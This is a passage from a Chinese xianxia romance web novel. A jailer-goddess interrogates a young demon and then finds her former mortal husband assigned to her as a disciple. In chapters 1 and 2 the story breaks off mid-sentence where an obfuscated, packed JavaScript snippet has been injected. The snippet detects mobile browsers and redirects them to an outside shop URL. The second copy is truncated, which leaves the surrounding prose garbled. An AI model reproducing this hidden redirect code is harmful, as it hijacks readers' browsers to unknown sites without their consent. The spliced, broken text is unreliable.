《我渣过的前夫回来了》 1. 第1章 “啊——” “啊呜我错了——” 自带回响的哭嚎声回荡不休。 震的无间炼狱门前的九尺神像都在微微颤动,落下些许灰尘。 走在最前头的神差抬手挥去眼前的灰尘,波澜不惊的扯了一把手里脚腕粗细的铁链。 “赶紧的,走快些,别以为当上神差很快就能出去了,无间炼狱里的哪个神差不是戴罪之身,别高兴的太早。” 铁链很长,每过三步的距离便缠着一人的手腕,缠了大概三十来人,被迫排成了一条长龙。 在这般狼狈之下,唯有落在最后的男子,穿着一身干净清爽的竹青绫袍,如闲庭信步般慢悠悠的跟着。 走在他前面的人瞧了,只当他也是神差,并未多问。 现如今,他们可不是什么罪人。 或者说,曾经是。 但自从他们愿意改邪归正,成为神差,为无间炼狱做事时,便不是了。 有人大着胆子与最前头的沈听搭讪,“仙君,方才那是……什么声音啊?” 沈听回头看了他一眼,“你的同族,前几日刚抓回来的。” “啊?不可能。”这人坚定道:“我们魔族素来强大,怎么可能嚎成这样。” “呵。”沈听嗤笑一笑,“那是你没犯她手里。” “她?” 怔愣片刻后,这人想起自己听见的一些传言,顿时瞪圆了眼,眼底闪过一丝畏惧,“你说的她,不会……不会是……” …… “岁妱!有本事你就弄死我!” 古韵绵延的大殿中,散发着浓郁的血腥气。 腾蛇盘绕的木雕柱上,正绑着一个长发凌乱,看不清模样的少年。 少年跟前漂浮着数十根食指长短的白羽。 白羽柔软,纤细,散发着微弱的灵光,能无视少年穿着的黑袍,根根挠到肌肤上。 一声比一声凄厉的惨叫接踵响起,吵醒了一旁趴在桌案上睡觉的少女。 水墨纱衣随着少女猛地坐直而微微从肩头落下,她双眼迷茫,头上的仙子髻也乱糟糟的,此时因着刚醒,脸颊上还留着一抹红印。 片刻后,岁妱才揉了揉眼睛,懒散的掀起眼皮瞧了一眼还在吱哇乱叫的少年,慢悠悠的倒下一杯水,“你叫声也太大了些,你们魔族知道你这般没骨气吗?” 少年情绪更加激动,魔语如泉涌。 听不懂,但肯定没一句好话。 这人乃是前几日在凡间作乱的阴魔,以他在魔族的年纪来算,还是只幼崽。 阴魔岁妱见过不少,但在凡间当神棍当的津津有味的阴魔,她头一回见。 天界给他的罪名是—— 阴魔凌星祸乱人间,面壁五百年。 以魔族的秉性,她去抓人前,以为对方定然仗着阴魔能看透一切,摄人心魂的能力作威作福,驱使凡人,将其当做傀儡,成为一方势力。 可当她千里迢迢赶到禹州时,只见那城门之上,禹州州主大手一挥,封了身旁的黑袍少年为军师。 魔族行事果然魔幻。 谁能想到与其对视一眼,家底儿都能被看光的阴魔,当起了算命先生。帮着禹州州主攻打城池不说,还三天两头的帮人算命捞银子。 魔,在凡间捞钱。 开天辟地头一回听说。 一时之间,岁妱也不知祸害苍生这罪名放到他身上,合适不合适。 但天界下令,她一个小小神差,置喙不得。 岁妱端着茶水走到少年身边,将水递到他嘴边,歪头看他,“骂了这么久,要不喝点儿?” 骂声停滞一瞬—— “呸。” 凌星不喝,还往茶杯里吐了口水,以彰显他宁死不屈的意志。 岁妱:? 很好。 瞌睡彻底醒了。 岁妱脸上的笑容依旧,手上却动作极快的捏住他的下巴,将茶水倒进了他嘴里,最后再用黑袍上唯一没的衣角,擦干净了茶杯。 动作一气呵成,行云流水。 凌星被呛得仰头咳嗽半晌,发丝散开,露出少年的全貌。 消瘦的脸上蒙着一条黑稠,额头两边短而粗的黑色小角应当是刚长出来不久。 阴魔最厉害的便是他们能看透人心,可用带着法力的黑稠遮住双目后,他便与凡人无异。 如今就连呛着水,嗓子都能疼的厉害。 更遑论他身前的白羽仍在尽职尽责的来回搔痒。 凌星受不住了,“到底是哪个天杀的魔透露给你我们魔族的秘密,啊……我错了,别挠了啊哈哈哈,啊……岁妱,老子要杀了你!” 他胡言乱语了半晌,岁妱轻轻一抬手,一道灵光从腰间刻着妱字的玉牌中飞出,化作十来根白羽加入了‘战场’。 岁妱捏着玉牌,慢慢道:“连你们魔族少君都受不过这招,劝你还是别硬撑了。” 凌星虽然被遮住了双目,但他的感知并未退化,察觉到岁妱又放了白羽出来,再也挺不住了,“错了我错了,我听话,我会乖乖受罚的。” 话落,数根白羽停在空中。 凌星总算能好好喘口气。 “你放才说少君都受不住这招,你认识我们少君?” 岁妱点头,“认识。” 她瞧了一眼凌星额上的小黑角,只有魔主一脉的魔族人,头上才会长角。 果不其然,凌星说:“少君是我二爷爷。” “……” 不是,与她年纪相仿的魔族少君都做爷爷了? 按辈分来说,凌星岂不是该唤她…… “奶奶!”凌星忽然激动起来,“你是我亲奶奶!我就说岁妱这个名字怎的这般熟悉,原来是与我二爷爷一同长大的北荒帝姬!” 岁妱抬手捏住少年喋喋不休的唇,“少胡说八道,谁是你奶奶!” 可眼睛却老实的看向落在窗边的水镜。 镜中的少女身子纤细,瞧着也就十八九岁的模样,杏眼桃腮,琼鼻樱唇,便是放在三界,也是数一数二的美人。 他竟敢将她叫的这般老! “唔唔……” 岁妱松开手,凌星连忙道:“奶奶,你不记得我了吗?三百年前你还从魔族将我偷走了呢,后来要不是我二爷爷率兵要打北荒,我就死在您手上了。” 他急着认亲的神色不似作假。 但岁妱从前与魔族少君打过的架何止千百场,这点小事她早就不记得了。 “不信您仔细瞧瞧我的模样,我真没骗您!” “奶奶~” “奶奶,您看看我嘛~” 岁妱被他吵的心烦意乱,但因着三百年都不曾见过故人,心中冒出的那一丝好奇令她下意识将手伸向那条黑绸。 “从前听我二爷爷说,您是他在北荒唯一的敌手,他连北荒大君都不怕,却偏偏在您手上吃过不少亏。” “二爷爷还说,他唯一赢您的一次就是在婚事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650642|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,您嫁了个凡人修士,还不敢带回北荒,而他却娶了魔族最美的女子。” 凌星叙旧了半晌,也不见跟前有任何反应。 不应该啊…… “奶奶?” 停在黑绸边的指尖忽然垂下,岁妱嗤笑一声,“想哄我摘下你的黑绸?” “……” “你二爷爷没告诉过你,这些小把戏都是他玩烂了的?” “……” “也对,凭你一个阴魔,却在凡界当个神棍的脑子,确实也只能想到这种小孩儿把戏。” “……” 重重的喘息声从凌星的喉咙发出,一瞬间,黑红色的魔纹疯涨,不过片刻就从脖颈蔓延至嘴角。 凌星龇着牙,恨不能将眼前之人一口咬死,“我杀了你!” 话落,白羽临身,那足以令魔崩溃的痒意再次袭来。 凌星活了三百年,头一回理解他二爷爷为何每回提起北荒帝姬,都要发场大疯。 “妱妱!” 门外突然传来一道声音。 和声音同时出现的,是与岁妱穿着同样水墨长袍的女子,她神色急切,步伐匆匆的从门外走来,“狱主命你去一趟浮水殿。” 岁妱不解:“去那儿做什么?不是只有新上任的神差才会在那里浮水过身吗?” 话虽如此,脚步却仍旧老实的朝浮水殿走去。 “奶奶,奶奶你不管我了吗?!”凌星大叫。 女子莫名瞧了一眼凌星,随即立马跟上前头的岁妱,“听狱主的意思,好像是想让你收个弟子。” 岁妱脚下一顿,掉头就走,“不收。” 她一个人乐的清闲,才不要找个麻烦在身边。 “欸,等等!”女子拉住岁妱,左右瞧了瞧,见四下无人,这才伸出一根指头,向上指了指,“是……的意思。” “估摸着是你差事办的好,得天器重,这才特意吩咐让你收个弟子。” 可不是办的好嘛。 岁妱才来无间炼狱三百年,便以手段非凡四个字传遍了三界。 莫说他们这些神差了,就是外边儿的小神听了岁妱二字,也会打个寒颤。 这不,连里边儿那个阴魔,都不堪受辱的叫她奶奶了。 “得天器重?”岁妱抬头看天片刻,这才扬起嘴角,笑弯了眼,“成,既然上边儿这么看重我,那这个弟子,我收下了。” 岁妱刚要走,女子却仍旧拉着她不放。 “今日去浮水殿的共有三十二人。” 有三十二人可以挑选? 不错不错。 她怎么着都得挑个脾气好,能做饭会唱曲儿,最好还本事大的乖乖徒弟。 “但是吧——”女子迟疑道:“你没得挑。” “为什么?” “狱主已经帮你挑好了。” 沉默一息后,岁妱牙酸了,“来头不小啊。” 无间炼狱是三界众生犯下大错时受刑的地方。 想要离开此地,唯有两个办法。 一是受刑结束。 二便是诚心悔过,成为神差,替天界办事,以此换取功德,减免刑法,提前离开。 但能当上神差的,哪个不是有点背景的。 如她这个北荒帝姬。 如站在她身边的蓬莱首徒云仙。 但她们自愿成为神差之时,可并未被狱主特地关照过。 “我倒要瞧瞧,来的是什么品种的神佛。” 2. 第2章 “我替你瞧过了。” 去往浮水殿的路上,云仙不留余力的吹嘘着这位即将被她收入麾下的弟子。 “三界模样生的最好的便是你们妖族了吧,那人我瞧着,像是你们妖族的,否则生不出那般星眉朗目的模子来。” 云仙瞧了一眼身边这位正宗的妖族帝姬,迟疑道:“但是又不太一样,他模样虽然生的好,却没有你身上这股子媚气。” 岁妱昵她一眼,“什么意思?” “就是他长了一张你们妖族特产的漂亮脸蛋,周身的气韵却像是天族的小仙君。” “你不知道,他去浮水殿的路上有多少人偷偷瞧他,那身段儿,那模样,啧……” 岁妱递上一张绢帕,“擦擦口水。” 云仙嘿嘿一笑,没管住口水还颇有些不好意思。 她鲜少在人前如此口不遮掩,不等她开口缓和气氛,岁妱先一步道:“比之九厄如何?” 云仙一愣,对上岁妱眼里的兴致,还有什么不明白的。 同道中人啊! 她险些忘了,妖族的骨子里,就流着爱美的血。 云仙兴致勃勃的道:“九厄算什么,也只有你二哥的皮囊能拿出来比一比了!” 岁妱认可点头。 九厄也是无间炼狱的神差,虽是魔族,模样却是出奇的好。 但他二哥,可是三界出了名的美人骨。 想到云仙入无间炼狱的罪名,岁妱可以理解她为何知晓二哥的模样。 知晓岁妱与她爱好相同后,云仙的嘴巴便没停过,上至天界,下至鬼门,但凡有点姿色的,她都能叫出名字来。 直到二人抵达浮水殿外,云仙才遗憾的住了嘴。 无间炼狱名字听着虽然阴间了些,可内里却与宗门的布置并无两样。 浮水殿大门敞开,三十二人分别盘坐在殿内的蒲团上,似和尚早课,对着一尊无面神像打坐。 云仙与岁妱站在盘龙漆柱旁并未打扰。 所谓浮水便是形容神像前的香火,丝丝缕缕的穿过每个戴罪之身的额前,受此浮水后,便能以神差之名,戴罪立功。 “瞧见角落那人了吗?” 顺着云仙手指的方向看去,大殿最左边的角落处盘坐着的男子与其他人全然不同。 成为神差之前,谁没遭过刑罚。 轻则一身伤痕,重则满身是血,但无论如何,都不会似他一般干净整洁的像是来无间炼狱坐客般。 因他背朝殿门,岁妱看不清他的模样。 但只这一个背影,她便知道云仙并未夸大。 竹青绫袍贴在他挺直的脊背上,腰间束带,长发半束,以青缎缠绕,瞧着确实像天界的小仙君。 就是不知晓脾气如何,实力如何,能做饭唱曲儿否? “妱妱,浮水过身结束了。”云仙颇有些激动。 岁妱也满眼期待的看着那小仙君。 与旁人的急切不同,只见他不紧不慢的起身,似是察觉到了身后两道灼灼的目光,回头望了一眼,这才朝着无面神像旁的神差走去。 云仙吸溜一声,去抓身旁的岁妱,“看见了吗,看见了吗?妱……” 人呢? 云仙抓了个空,侧头一看,发现岁妱不知何时靠在了漆柱后,一副见了鬼般的神色。 他为什么会在这儿?! 岁妱本以为自己早该不记得这人了,可方才瞧见他的瞬间,身体比脑子更快的做出反应。 她在心虚。 其实仔细说来,她不应该心虚才对。 怎么说也是四百多年前的事儿了,她刚满千岁,依照妖族的年纪来算,她那时也才刚刚成年而已。 刚成年的妖,难免会做些错事。 更何况她们妖族,还有那样的天性…… 妖族成年时身体会出现异样,男女皆是只有交合可破。 在交合前,这种异样会一直存在,且愈来愈强。 为了能安心修炼,几乎每只妖在成年前都会寻找一个伴侣,或许是永久的,或许是临时的。 只要交合便能让身体恢复正常,除了在交合后会虚弱一段时日外,此后都不会再出现这样的情形。 父王早早的便为她安排好了,妖族与神族的少年任她挑选。 可她偏偏在妖族与神族之间选择了—— 人族。 倒也不是她喜欢人族。 而是在一次偷溜去凡界游玩时意外受了伤,妖力外泄时犯下的错。 当时那股被她压抑许久的异样再也抑制不住,满脑子都只想凭着本能行事。 朦胧之中,她什么时候失去的意识,都不记得。 只知道那夜狂风骤雨,破庙的窗户被吹得飒飒作响。 等她再次醒来,是在一破茅屋里。 泥砖黑瓦,简陋的只有一桌一椅一床。 她躺的床硬的膈腰,扭头掀开布帘,映入眼帘的便是少年白皙消瘦的脊背。 雪一般的颜色转瞬即逝,少年利落的穿上里衣,抿着唇侧头看她,“你醒了。” 很明显,是这人救了她,各种意义上的救了她。 “我会对你负责。” 这话是少年说的。 尽管岁妱没有过经历,唯一一次她还晕过去了,但也知晓他们之间定然发生了什么,否则她不会一觉醒来神清气爽却又妖力全无。 “不用。” 她的拒绝让少年皱起了眉,连系里衣的手都停在了系带上。 岁妱怎么说都是成年的大妖,少年是骡子是马,她一眼便能瞧出来。 凡人修士。 天赋如何不知,但修为不高,想来应当刚修行不久。 她是北荒帝姬,与凡界众人比起来,身份尊贵,便是凡界的洲主见了她,也得恭敬的唤她一声帝姬。 一个修士,没资格对她负责。 但看在他唇红齿白,模样生的俊俏的份上,岁妱并未将话说的那般难听。 她如实告知身份,甚至还将一夜荒唐的来龙去脉都告知了他。 “你帮了我,无论是想要珍宝秘籍还是旁的什么,我都能许你。” 少年抿着唇沉默了片刻,突然解起了衣服? “放肆!” 岁妱红着脸,可眼睛却不听话的落在少年窄细的腰肢上,半晌都挪不开。 难不成他还想用身子诱惑她? 她可不是那种妖! “你也帮了我。” 干哑的声音拉回了岁妱的思绪,她这才注意到少年通红的脸,与他胸口浅粉色的伤疤。 岁妱这才想起,以她的修为血脉,凡人根本无法承受,少年眼下能好端端的站在她面前,无非是他同样有着不凡的体魄或者天赋。 他昨夜或许是受了伤,与她交合后,强大的血脉之力助他快速愈合了伤口。 所以他们二人,扯平了。 岁妱并不想扯平,脸色十分难看。 “我会负责。”少年过于执着。 岁妱在虚弱期,手无缚鸡之力,逃不走,不想留。 最终的结果便是少年带着她去庙里上香,将二人结侣之事,上告天地。 岁妱在那座破茅屋里与少年生活了三个月之久,所有的妖力才都恢复过来。 在一个寻常的早晨,她挥一挥衣袖,留下一堆助少年修行的法宝后,回了北荒。 之后很长的日子里她都没有再想起这人。 甚至都快忘了自个儿是个有夫之妖。 直到她在四处溜达时,救了一个白面书生。 那书生笨笨的,就是个手无缚鸡之力的凡人,一口一个神女的唤她。 恰巧她无聊的紧,便逗弄书生玩。 这一逗,便将自己逗了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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掌心一合,铜镜消失。 云仙观察了岁妱半晌,见她一个人神神叨叨的折腾,刚笑了一下,又立马冷着脸朝殿内走去,不解的挠了挠脑袋。 “收个弟子,也要走出壮烈赴死的气势吗?” - 殿内,待其余人都离开后,沈听这才看向身前的男子,眼神一变,就连语气都恭顺了不少,“小仙见过天尊。” “不必多礼。”天尊扫过一旁的无面神像,从容道:“记住了,从此刻开始,这里没有天尊。” 沈听了然的点点头,“小仙明白。” “不过天尊从凡界飞升,继承神格不到百年,手中堆积的事务应当不少,怎会突然想着来这儿做一个小小的神差?” 说话时,神差小心翼翼的用余光打量着男子。 天界大多数的神位都是由天帝亲封,只有少数掌管要职的神天帝无法左右,乃是天道钦点即位。 如掌管三界律法的天尊,如无间炼狱的狱主,便是由天道亲自筛选而出。 天道如何挑选的无人得知,但能位居与天帝齐名的天尊之位,定是历经千百世的轮回苦厄,才能一朝飞升,拥有天尊的神格。 至少传说中,前一位天尊便是历经千世轮回才飞升的天界。 后来天尊湮灭,神格便空了下来。 千万年后,才总算等到了继任者。 沈听等了半晌,并未等到天尊的回答,反而一道清亮的声音从天尊身后传了出来,“你便是狱主为我特意挑选的弟子?” 3. 第3章 谁这般大胆? 沈听不满的歪头看去,在瞧见那道瑰丽的身影后,立马挂上了笑脸,“妱妱,你来的正好,天——” “咳咳……”沈听在天尊看来的目光中及时住了嘴,应着岁妱方才的问题,“是,他就是狱主为你挑的弟子,叫……叫……” 天尊提醒:“玉照。” 沈听连忙接话,“对,他叫玉照。” 若说先前岁妱还有一点小期待,觉着或许是自己认错了的话,玉照二字一出,她便什么心思都没了。 对上那张几百年没见,却依旧令人印象深刻的脸,她扬起从前在北荒对镜练过千百次的笑容,“好久——” 随之一同落下的,还有玉照的疑惑:“这位是?” 什么意思? 不记得她了? 下意识的愤怒刚冒了个尖便被喜悦压下。 不记得好啊,不记得便意味着过去那些事儿只要她不提,便不会被拿出来说道。 她该高兴才是。 岁妱脸上的笑容真切了不少,“我叫岁妱,是你的师尊。” 话落,那双桃花眼才慢慢的落到她身上,仿佛此刻才拿正眼瞧她,浅褐色的瞳仁中不见半点熟悉,疏离淡漠的打量半晌后,才尾音上挑的道出一句,“师尊?” 几百年不见,性子也变了不少。 从前那个连看她一眼都会悄悄脸红的少年,如今却能轻描淡写的质疑她。 沈听的目光在二人身前来回转动。 他也有师尊,当年他跟着师尊时,可不曾有这般奇怪的气氛。 沈听笑着打圆场,“妱妱可是炼狱里能力最强的神差,许多人都抢着要当她弟子呢。” “是吗?”玉照冷着脸,俨然并不是很信。 沈听见此拼命给岁妱使眼色,让她替自己说说好话。 为什么? 这徒弟并非是她求来的。 若玉照不愿拜她为师,她正好乐的清净。 眼瞧着岁妱不配合,沈听着急的五官都挤成了一团,伸出一根手指,指了指上面。 岁妱这才记起在知道他是玉照前,她原本是好奇这位弟子什么来头的,可是玉照…… 她对玉照仅有的了解还停留在凡人修士上。 无间炼狱里不是没有犯下滔天大罪的修士,但修士修为有限,其影响自然没有妖魔与神族范围广。 玉照什么修为了?又是因何事入了无间炼狱?为何他能被狱主特殊照顾? 但不管为什么,眼下要服软的都得是她。 岁妱笑眯眯的道:“是啊,你放心,跟着我定不会吃亏。” 玉照没再开口。 沈听见此,连忙道:“妱妱,你带他去四处走走,熟悉熟悉,以后他便交给你了。” 从她身侧走过时,沈听还附在她耳边意味深长道:“照顾着些。” 待人走后,岁妱手腕一翻,掌心便出现了一张她刚来无间炼狱时绘制的地图,“所有的大殿我都写上了地点以及作用,你若有想去的地方,也可以去瞧瞧。” 岁妱将地图递给玉照。 玉照只垂眸瞧了一眼,并未伸手接过,“你便是这样当师尊的?” 岁妱:? 不然呢? 她眼中的疑惑不似作假,玉照抿着唇将地图接过,只瞧了一眼,再抬头时,少女的身影已经行至了大殿门口。 玉照忽然笑了,“岁妱,几百年不见,你还真是一点没变。” 少女脚步一顿,不敢置信的回头,“你记得?” 男子随意的把玩着手中的地图,“我记得你很得意?” “不是,那你方才为何装作不认识?” 玉照:“难不成我要将我们曾是夫妻,后来和离之事宣告三界?” 岁妱听出他的讽刺之意。 感慨道:“果真是长大了,几百年前的那个凡人修士可不会这样与我说话。” 玉照笑道:“你也说了是几百年前。” 劣根在心底发芽,岁妱忍了又忍,才没走上前如从前那般捏住他的衣袖。 连肌肤都不曾触碰,只是那般近的捏了一下他的衣裳,他便能慌乱不止,脸红如血。 也不知他现在是否如从前那般有趣? 还不等岁妱踏出一步,玉照便挑眉轻笑,“怎么?又想使坏?你不会以为,从前那些招数,对我还有用吧?” “没用吗?” 原本岁妱没准备做什么。 可他这样一激,倒是让她生起些跃跃欲试的念头。 可是不行。 她如今不是能任性妄为的北荒帝姬。 岁妱,你长大了,可不许再随意撩拨男子! 不知在心里翻来覆去的劝了几遍,岁妱才忍下那股给他点颜色瞧瞧的念头。 “没用便没用吧。” 岁妱继续道:“已经过去这么久的事情,你记得倒是清楚,我还什么都没做呢,你便知道我在想什么了。” 玉照指间一顿,转瞬又恢复如常,“你记性也不差。” 岁妱想了想,就当他在夸她了。 先前她本以为似玉照的性子,和离后再相见,只有两种情形。 要么形同陌路,他不会再与她说一句话。 要么鱼死网破,谁都别想好。 可意料之外的是,他竟能这般平和,平和到他们像是仿佛多年不见的泛泛之交。 事出反常必有妖,就是不知那平和之下藏着的到底是什么。 “还有旁的事情吗?”岁妱问。 玉照闻言,抬起手中地图,“师尊,你便是这般教导弟子的?” 岁妱抬眼,这便是他的目的? 明知她不愿陪他四处走动,还故意刁难? 若她不愿,他是不是要告到天界,好以此为理由报复她? 岁妱思来想去都觉着这点小事,犯不着与他计较,让他抓了把柄。 “当然不是,沈听方才不是说了,让我陪你四处走走,作为师尊,自然要亲力亲为。” 话落,玉照率先迈开步子,朝着她走来。 恍若时光回溯,当初那个堪堪比她高半个头的少年,已经长成了长身鹤立的翩翩公子,彻底挡住了大半的光,将她埋在了阴影之下。 他脚步未停,旁若无人般与岁妱擦肩而过。 不知道的,还以为他是师尊。 可就在踏出大殿的瞬间,玉照身子僵硬一瞬,强忍着才没有回头。 岁妱错愕的抬起手瞧了瞧,恍然道:“还真是对他无用了。” 否则她方才捏住他衣袖的一瞬,他绝不会全无反应。 啧,果真好久不碰情爱,连玉照都勾不住了。 一路上,岁妱都心不在焉的,也不知她将来回了北荒会不会被妖笑话。 - “绕过前面的水榭凉亭便是入籍所在,入籍后神差便会有自己的玉牌。” 岁妱手腕一转,一块刻着妱字的月白玉牌便出现在两人跟前。 “这玉牌与你们凡人修士的传音符差不多,神差之间可以通过玉牌沟通,天界也能通过玉牌找到神差,不过它可不止传音这一个作用。” 话音落下的瞬间,岁妱双手极快的掐诀,不过瞬间,玉牌便散发出如萤火虫般的白光,“看到这些灵光了吗?” 岁妱不动声色的问:“你罪罚多少年?” 玉照看她一眼,面不改色,“三千。” 以她对天规的了解,能有三千年刑期的,做的恶一定不小。 “原因呢?” 玉照从容道:“灭了魔族一个分支。” 岁妱:??? 她错愕的目光在玉照身上来回打量,并不是很信他一个凡人修士能灭了一个魔族分支。 其实岁妱很想问问他除了修士这一层身份外,还有什么背景。 或者说,在她离开的那些年里,他是飞升了?还是有了什么新的机遇,才让狱主都格外关照。 可她总觉着玉照并不会理她,问了也白搭。 罢了。 她将注意力重新放到灵光上。 “这一个光点便能免去一年的刑罚,每一回都会根据要抓捕的人不同、罪名不同,而得到不同数量的灵光。” 她的刑期是千年,如今过去三百年,这些灵光加起来也有五百年了,相信再过不久,她便能离开这个鬼地方了。 岁妱掌心一合,玉牌与灵光顿时消失的无影无踪,“至于别的作用,以后再告诉你。” 玉照看着少女负手而行的背影,眉头轻挑,眼底极快的闪过一丝什么。 神差领取玉牌的方式并不复杂,只需登记在神册上,交给狱主与天界即可。 拿到玉牌后,岁妱见玉照摸着玉牌思索着什么,迟迟没有动作,不由提醒,“注入法力,在玉牌上刻上你的字。” “我记着你方才说,在无间炼狱的神差自身法力被封禁,所有法力的来源都需要耗费玉牌中的灵光。” 他晃了晃手中的玉牌,大抵便是在问她,拿什么刻? 岁妱琢磨了一下,朝着玉照伸手。 他低头看了一眼几乎抵在他胸前的纤纤玉指,并未多说什么,将玉牌轻轻放了上去。 “看在你如今是我徒弟的份上,我帮你刻了。” 指尖一点,玉牌便腾空而起,她以指为笔,一笔一划,认认真真的在玉牌上刻下一个‘照’字。 笔锋细长而潇洒,与她玉佩上龙飞凤舞的妱字如出一辙,一瞧便能认出是同一人的手笔。 要是她不说,谁能认出这是一个照字。 “好了。” 岁妱笑着回头将玉牌递给玉照时,正好对上他清浅的眸子,忽然间,有什么被她遗忘的记忆如潮水般荡了回来。 这样的场景,似曾相识…… 几百年前和玉照住在那小破屋的时候,她好像也给他刻过一个玉牌。 那时玉照整颗心都系在她身上,只要是能与她共白头的事情,什么歪门邪说都信。 玉照好像知道她不喜欢他。 知道她整日神情恹恹,是因为与他结为道侣。 玉照讨好过她,知道她是 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直到她妖力即将恢复时,他像是察觉到了什么,某夜忽然惊醒,不顾她的怒火,爬上了她的床,死死的抱住她,让她记住他的名字。 玉照二字,在耳边循环了一整夜。 她想忘记都难。 “可是这玉牌有什么问题?” 月白色的玉牌在他骨节分明的指间显得格外晶莹剔透。 岁妱挑眉,“没有。走吧,带你去别处看看。” 玉照缓步跟在岁妱身后,望着少女来回晃悠的发尾,掌心的玉牌散发着丝丝凉意,嘴角勾起一丝讥笑。 她果然,不记得了。 - 岁妱又带着玉照去了几处大殿与山峰,待他熟悉之后,才想起他还不曾有神差的衣袍。 神差的衣袍与天界各神的衣裳一样,拥有水火不侵,尘土不染的作用。 为了方便神差在各界行事,他们的外衫都是统一的烟灰水墨纱。 玉照在殿内换衣时,岁妱坐在长阶上,双手托腮,神情恹恹。 不知去哪儿晃悠了一圈的云仙路过此处,三步并作两步跑到了岁妱身边坐下,抵着她的肩膀,“这是怎的了?方才我就觉着你怪怪的。” “没事,你去哪儿了?” 云仙神秘道:“我在浮水殿瞧见一个模样好的,想去问问狱主能不能收做弟子。” 岁妱诧异,“狱主出关了?” “哪儿能啊。”云仙晃着腰间的长带,“狱主都一千多年没有踏出过灵鹫峰了,还是与从前一样,在峰下的石碑上请示。” “那狱主说什么了?” 云仙微微笑一笑,“不能。” 她愤愤不平的揪扯着长带,“狱主真偏心啊!” 岁妱刚要说话,就见她猛地起身离开。 “你去哪儿?” “办事儿,争取下回能收个漂亮弟子!” 岁妱望着她气呼呼的背影,不明白收弟子有什么好的。 突然,身后传来细碎的脚步声。 岁妱回头看向从殿内走出来的玉照,褪去那身竹青衣袍,竟让她瞧出了一丝凡人修士的影子。 收弟子挺好的。 只要这弟子不是什么前夫。 岁妱笑着起身,上下打量,“不错,挺好看。” 玉照身量本就极高,这身早就看腻了的水墨纱出现在他身上,意外的合适。 整个无间炼狱的神差,都没人能穿出这股缥缈之意。 抛去别的不谈,就玉照这样的身姿,便是个花瓶,也是个让主子顶顶有面的花瓶。 溢着笑意的双眸还未落下,她突然瞧见玉照脖颈间戴着一根细长的金绳,金绳下方坠着一颗指甲盖大小的东珠。 东珠并不罕见,但泛着紫金光晕的东珠,找遍三界也只有一颗。 那是她成年时,收到的其中之一的生辰礼。 因着珠子好看,她便将其做成了钗子戴在发间。 后来…… 后来她离开那小破屋时,留给了玉照许多法宝,这颗东珠便在其中。 “这珠子……你还留着?” 玉照下意识蹙眉,随着岁妱的目光注意到脖颈间的东西时,目光闪了闪,随即不慎在意的将珠子捏住,“你说这个?” 岁妱颔首,“当年我留给你的。” 玉照恍然,“我瞧着好看便一直带在身上。” 他嗤笑一声,“没承想,竟是你留下的。” “你不知道珠子是谁的,便能贴身携带?”岁妱狐疑的看着他。 玉照眸底浓墨翻滚,没有回答,反而抬步朝着岁妱走来。 他踩住的仿佛不是台阶,而是岁妱略显动荡的心口。 直到他停在与她一步之遥的台阶上,微微低头,淡色的唇瓣一张一合时,岁妱才堪堪平静下来。 只是那双桃花眼里不见一丝笑意,“不然呢?你不会以为,几百年过去,我还对你念念不忘吧?师尊。” 4. 第4章 他脸上的神情不带一丝讥讽,淡定从容的仿佛在说一件无关紧要的事情。 只是这话入耳,并不令人舒适。 “你是在凡界长大的,可曾听过一句话?” 玉照:“什么话?” “此地无银三百两。” 玉照顿了一瞬,随即笑道:“自然听过。” 他说话之时,日光拓在珠子上,紫光流转煞是好看,岁妱的目光不由自主的被吸引,是以并未注意到玉照脸上的笑意,差点维持不住。 “这珠子三界少有,你看能不能……” 玉照缓了心绪,看了她一眼,“喜欢?” “喜欢。” 玉照收敛了气势,“可惜了,三界少有的东西,师尊便是喜欢也寻不到了。” “……” 岁妱这才发觉,方才玉照语气清冷的反问她时,周遭一瞬而出的气势与她印象中的少年全然不同。 那个被她嫌弃后,只会偷偷难过,红着眼眶还要强颜欢笑的少年,竟然成长到了这般地步。 岁妱别过眼,缓了情绪,“是挺可惜的。” 玉照似乎不愿再在东珠上多费唇舌,“师尊,接下来我们去哪儿?” “今日就这般吧,改日再带你去剩下的几座峰瞧瞧。” 她眼底显出恹色,“踏月峰方才带你去过,那儿就是你以后歇息的地方,去吧。” 玉照垂目看了她片刻,在察觉到少女心情低落时,并未多言,按照规矩行了弟子礼,才踏下台阶,勾唇道:“弟子告辞。” 东珠被少女的水墨纱衣卷过,一触即离,方才入鼻的冷香也随着男子的远去消散无踪。 岁妱回身,面无表情的朝着听花峰而去。 得想想法子,看能不能将这人弄走。 长大后的玉照不好拿捏,方才那道压着她的气势让她隐隐察觉到了一丝危险。 既然握不住,那便直接送走。 - 风花雪月四峰乃是神差居所。 女子大多住在风花二峰,一人一院,皆可依照自己的喜好摆置。 岁妱所住的院落位于听花峰的东侧,院内并不曾好好布置过,唯有一侧的禅室有些不同。 挂在门梁上的铜铃花叮叮当当的响起,云履踏过门槛,行至屋内摆放的香案前。 岁妱拿起木盒中的细香,手腕摇动,若隐若现的火光从香头出现,屡屡青烟朝着香案上供奉的东西飘去。 香案上供奉的既不是神像也不是牌位,而是半截指骨。 待青烟没入指骨中时,屋内隐隐约约响起一道浑厚的嗓音,“妱儿?” 不等岁妱开口,又是一道年轻男子的声音响起,“你三天两头的找父王做什么?莫不是又犯了事儿,想求父王帮你擦屁.股吧。” “催月!怎么跟你妹妹说话呢!” “对啊,她是妹妹啊,我当哥哥的与她这样说话有什么问题吗?” “臭小子!你给我过来!” 岁妱每回与父王联络时,只要她二哥在,次次都是这样,先吵再打。 一刻钟后,二哥囫囵的声音再次响起。 岁妱:“把你嘴里的棉花吐掉再说话。” 